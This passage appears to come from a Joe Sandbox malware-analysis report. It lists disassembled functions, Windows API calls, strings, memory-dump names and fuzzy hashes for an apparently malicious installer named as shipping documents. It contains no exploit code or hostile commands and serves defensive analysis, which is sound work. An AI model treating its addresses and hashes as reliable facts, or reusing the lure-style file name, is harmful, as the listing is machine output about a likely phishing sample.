LoadImageW.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 00404FC7
SetWindowLongW.USER32(?,000000FC,00405550), ref: 00404FE0
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404FF4
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00405006
SendMessageW.USER32(?,00001109,00000002), ref: 0040501C
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00405028
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 0040503A
DeleteObject.GDI32(00000000), ref: 0040503D
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00405068
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00405074
SendMessageW.USER32(?,00001132,00000000,?), ref: 0040510F
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 0040513F

Part of subcall function 0040450B: SendMessageW.USER32(00000028,?,00000001,00404336), ref: 00404519

SendMessageW.USER32(?,00001132,00000000,?), ref: 00405153
GetWindowLongW.USER32(?,000000F0), ref: 00405181
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040518F
ShowWindow.USER32(?,00000005), ref: 0040519F
SendMessageW.USER32(?,00000419,00000000,?), ref: 0040529A
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 004052FF
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405314
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405338
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405358
ImageList_Destroy.COMCTL32(?), ref: 0040536D
GlobalFree.KERNEL32(?), ref: 0040537D
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004053F6
SendMessageW.USER32(?,00001102,?,?), ref: 0040549F
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004054AE
InvalidateRect.USER32(?,00000000,00000001), ref: 004054D9
ShowWindow.USER32(?,00000000), ref: 00405527
GetDlgItem.USER32(?,000003FE), ref: 00405532
ShowWindow.USER32(00000000), ref: 00405539

Strings

M, xrefs: 004050F7
N, xrefs: 004051D8
, xrefs: 00405511

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: 14683326fe5d0e21a3b01d942e888f99a0d9647cceadcd168bf81575faddcc86
Instruction ID: 91097811874ce85ba3cc7540bcf7dd58db25a3d6f071223140e4d1ec27d7ea12
Opcode Fuzzy Hash: 14683326fe5d0e21a3b01d942e888f99a0d9647cceadcd168bf81575faddcc86
Instruction Fuzzy Hash: 6C029C70900608AFDF20DF94DD85AAF7BB5FB85314F10817AE611BA2E1D7798A41CF58

Function 00404695 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404733
GetDlgItem.USER32(?,000003E8), ref: 00404747
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404764
GetSysColor.USER32(?), ref: 00404775
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404783
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 00404791
lstrlenW.KERNEL32(?), ref: 00404796
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004047A3
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004047B8
GetDlgItem.USER32(?,0000040A), ref: 00404811
SendMessageW.USER32(00000000), ref: 00404818
GetDlgItem.USER32(?,000003E8), ref: 00404843
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404886
LoadCursorW.USER32(00000000,00007F02), ref: 00404894
SetCursor.USER32(00000000), ref: 00404897
LoadCursorW.USER32(00000000,00007F00), ref: 004048B0
SetCursor.USER32(00000000), ref: 004048B3
SendMessageW.USER32(00000111,00000001,00000000), ref: 004048E2
SendMessageW.USER32(00000010,00000000,00000000), ref: 004048F4

Strings

Exec, xrefs: 00404872
N, xrefs: 00404831

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: Exec$N
API String ID: 3103080414-17853963
Opcode ID: 04e13e5971a3aaf2d7c3f6bec99ed017c89c89abbf6057be99a5caf0d4384f9a
Instruction ID: 3ad42440e7936429012ccc374b67200ab01768f99e4ad58672f49272ac14a637
Opcode Fuzzy Hash: 04e13e5971a3aaf2d7c3f6bec99ed017c89c89abbf6057be99a5caf0d4384f9a
Instruction Fuzzy Hash: 2E6181B1900209BFDB10AF60DD85EAA7B69FB84315F00853AFA05B62D0C779A951DF98

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433700,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: f8b3db801d2c504d9e2de6f85bac4b8fdc05036872983a9c428bf394377a2a15
Instruction ID: eca0ad76d85821e0a7fbe67f508e5060b260b918cc65b70bf06bca200ae74670
Opcode Fuzzy Hash: f8b3db801d2c504d9e2de6f85bac4b8fdc05036872983a9c428bf394377a2a15
Instruction Fuzzy Hash: 2F418B71800209AFCB058FA5DE459AFBFB9FF45314F00802EF591AA1A0C738EA54DFA4

Function 0040619D Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,00406338,?,?), ref: 004061D8
GetShortPathNameW.KERNEL32(?,00430108,00000400), ref: 004061E1

Part of subcall function 00405FAC: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406291,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FBC
Part of subcall function 00405FAC: lstrlenA.KERNEL32(00000000,?,00000000,00406291,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FEE

GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 004061FE
wsprintfA.USER32 ref: 0040621C
GetFileSize.KERNEL32(00000000,00000000,00430908,C0000000,00000004,00430908,?,?,?,?,?), ref: 00406257
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406266
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040629E
SetFilePointer.KERNEL32(0040A580,00000000,00000000,00000000,00000000,0042FD08,00000000,-0000000A,0040A580,00000000,[Rename],00000000,00000000,00000000), ref: 004062F4
GlobalFree.KERNEL32(00000000), ref: 00406305
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0040630C

Part of subcall function 00406047: GetFileAttributesW.KERNELBASE(00000003,004030C2,C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe,80000000,00000003), ref: 0040604B
Part of subcall function 00406047: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040606D

Strings

%ls=%ls, xrefs: 00406212
[Rename], xrefs: 00406286, 00406298

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 7d01897451b1442b79f1fbad31b5db9882c2a06ae1a72dd2fb598b53c99231a5
Instruction ID: 2f157a22eecee44515c187ff3daf75b9e7e255f904fde787f0dd9ddf92a1116e
Opcode Fuzzy Hash: 7d01897451b1442b79f1fbad31b5db9882c2a06ae1a72dd2fb598b53c99231a5
Instruction Fuzzy Hash: C9312271200315BBD2206B619D49F2B3A5CEF85718F16043EFD42FA2C2DB7D99258ABD

Function 6FE81B67 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 83processstringsynchronizationCOMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32(00000400), ref: 6FE81B96
lstrcpynW.KERNEL32(?,00000000), ref: 6FE81BA4
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6FE81C03
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6FE81C15
GetExitCodeProcess.KERNEL32(?,?), ref: 6FE81C22
CloseHandle.KERNEL32(?), ref: 6FE81C31
CloseHandle.KERNEL32(?), ref: 6FE81C36
ExitProcess.KERNEL32 ref: 6FE81C3B
ExitProcess.KERNEL32 ref: 6FE81C46

Strings

", xrefs: 6FE81BAA
D, xrefs: 6FE81B8A

Memory Dump Source

Source File: 00000000.00000002.2153670485.000000006FE81000.00000020.00000001.01000000.00000005.sdmp, Offset: 6FE80000, based on PE: true

Associated: 00000000.00000002.2153651950.000000006FE80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2153686664.000000006FE82000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2153704607.000000006FE83000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2153723885.000000006FE84000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fe80000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: Process$Exit$CloseHandle$CodeCommandCreateLineObjectSingleWaitlstrcpyn
String ID: "$D
API String ID: 2956148522-1154559923
Opcode ID: 1d941b3dee5f3963ad1899b3ca2a608bc7806bb7e2ada5b28301a42859932711
Instruction ID: 73d955312f501d815e8978bd6bec794098d44492d84bc501cfcd5b13944da93d
Opcode Fuzzy Hash: 1d941b3dee5f3963ad1899b3ca2a608bc7806bb7e2ada5b28301a42859932711
Instruction Fuzzy Hash: FC21A171804519EADF25BBE0CD08ADFBF79FF02325F600016E23AB6190DB741A55DBA1

Function 00406805 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe",76233420,C:\Users\user\AppData\Local\Temp\,00000000,0040350D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 00406868
CharNextW.USER32(?,?,?,00000000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00406877
CharNextW.USER32(?,"C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe",76233420,C:\Users\user\AppData\Local\Temp\,00000000,0040350D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 0040687C
CharPrevW.USER32(?,?,76233420,C:\Users\user\AppData\Local\Temp\,00000000,0040350D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 0040688F

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00406806
"C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe", xrefs: 00406849
*?|<>/":, xrefs: 00406857

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-1390672379
Opcode ID: d9890b2689dddc4776a4db6af1629ac80bd1bcc56ba6148264ccbff8cf15ab87
Instruction ID: fa9c0ef9ae643832d728fa0671e6943ea0b093c18f887e6db6f7fe1f852dcfd9
Opcode Fuzzy Hash: d9890b2689dddc4776a4db6af1629ac80bd1bcc56ba6148264ccbff8cf15ab87
Instruction Fuzzy Hash: F111932780221299DB303B148C40E7766E8AF54794F52C43FED8A722C0F77C4C9286AD

Function 0040453D Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040455A
GetSysColor.USER32(00000000), ref: 00404598
SetTextColor.GDI32(?,00000000), ref: 004045A4
SetBkMode.GDI32(?,?), ref: 004045B0
GetSysColor.USER32(?), ref: 004045C3
SetBkColor.GDI32(?,?), ref: 004045D3
DeleteObject.GDI32(?), ref: 004045ED
CreateBrushIndirect.GDI32(?), ref: 004045F7

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 9dba601b91aff6ac4bf2e5f3eaee39d76022ea5146a5c84035e03d3d84c8d27c
Instruction ID: 069c4eaec478219780f05c004fc5973679282d3c2eb16bc8cec9dcb23997e36d
Opcode Fuzzy Hash: 9dba601b91aff6ac4bf2e5f3eaee39d76022ea5146a5c84035e03d3d84c8d27c
Instruction Fuzzy Hash: 592151B1500704ABCB20DF68DE08A5B7BF8AF41714B05892EEA96A22E0D739E944CF54

Function 004026F1 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 0040275D
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402798
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027BB
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027D1

Part of subcall function 00406128: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 0040613E

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040287D

Strings

9, xrefs: 00402740

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 6186ba75392568282b6731289b87e01334a0414050beb0dbbc28c320faadcf08
Instruction ID: e892b7cb172a86a35cdf2d5061c859a119b49b65f2ae0b0c69c9b35c58dd84de
Opcode Fuzzy Hash: 6186ba75392568282b6731289b87e01334a0414050beb0dbbc28c320faadcf08
Instruction Fuzzy Hash: F151FB75D0411AABDF24DFD4CA85AAEBBB9FF04344F10817BE901B62D0D7B49D828B58

Function 6FE81987 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 54libraryloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,00000000,?,?,?,6FE810E0), ref: 6FE81990
GetModuleHandleA.KERNEL32(KERNEL32,?,?,00000000,?,?,?,6FE810E0), ref: 6FE8199E
GetProcAddress.KERNEL32(00000000,?), ref: 6FE819BD
GetProcAddress.KERNEL32(00000000,?), ref: 6FE819E6

Strings

IsWow64Process2, xrefs: 6FE819A4
KERNEL32, xrefs: 6FE81996

Memory Dump Source

Source File: 00000000.00000002.2153670485.000000006FE81000.00000020.00000001.01000000.00000005.sdmp, Offset: 6FE80000, based on PE: true

Associated: 00000000.00000002.2153651950.000000006FE80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2153686664.000000006FE82000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2153704607.000000006FE83000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2153723885.000000006FE84000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fe80000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: AddressProc$CurrentHandleModuleProcess
String ID: IsWow64Process2$KERNEL32
API String ID: 977827838-1019154776
Opcode ID: 2bcfab48608436a10e47b3dcd3cb787af1425c809e75d71b2655ec8cf541d14b
Instruction ID: b468e029d4233696777abd10a77843f3d9114a0b23527e5c4b4931cf7e8535de
Opcode Fuzzy Hash: 2bcfab48608436a10e47b3dcd3cb787af1425c809e75d71b2655ec8cf541d14b
Instruction Fuzzy Hash: E0014075D00649BADB02AAE4CC45AEF7FBD9F06254F104052A931E2191EB78EA05C761

Function 00404E91 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404EAC
GetMessagePos.USER32 ref: 00404EB4
ScreenToClient.USER32(?,?), ref: 00404ECE
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404EE0
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404F06

Strings

f, xrefs: 00404EE2

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 3b05e908374c5eb3ed0cc07743cf8bdf4b6f619b857b2f4ef42225a5e6fc1927
Instruction ID: eb967d7d92909976ed67768bbc6bf91133f1097352fa1b537f2083fc5134d3bd
Opcode Fuzzy Hash: 3b05e908374c5eb3ed0cc07743cf8bdf4b6f619b857b2f4ef42225a5e6fc1927
Instruction Fuzzy Hash: AB019E71900219BADB00DB94DD81FFEBBBCAF95710F10412BFB11B61C0C7B4AA018BA4

Function 00402F98 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402FB6
MulDiv.KERNEL32(0002F000,00000064,000B2368), ref: 00402FE1
wsprintfW.USER32 ref: 00402FF1
SetWindowTextW.USER32(?,?), ref: 00403001
SetDlgItemTextW.USER32(?,00000406,?), ref: 00403013

Strings

verifying installer: %d%%, xrefs: 00402FEB

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 492ce7ecf44becc2b6f328ccb1258d65c9f2870c51930cf6044baf7ee7e6d13e
Instruction ID: b4a4546c530c1255e03538258eeb387f0310dfe45b0532776fb26864182fd6cc
Opcode Fuzzy Hash: 492ce7ecf44becc2b6f328ccb1258d65c9f2870c51930cf6044baf7ee7e6d13e
Instruction Fuzzy Hash: 8D014F71640208BBEF209F60DE49FEE3B79AB04344F108039FA02B91D0DBB99A559B59

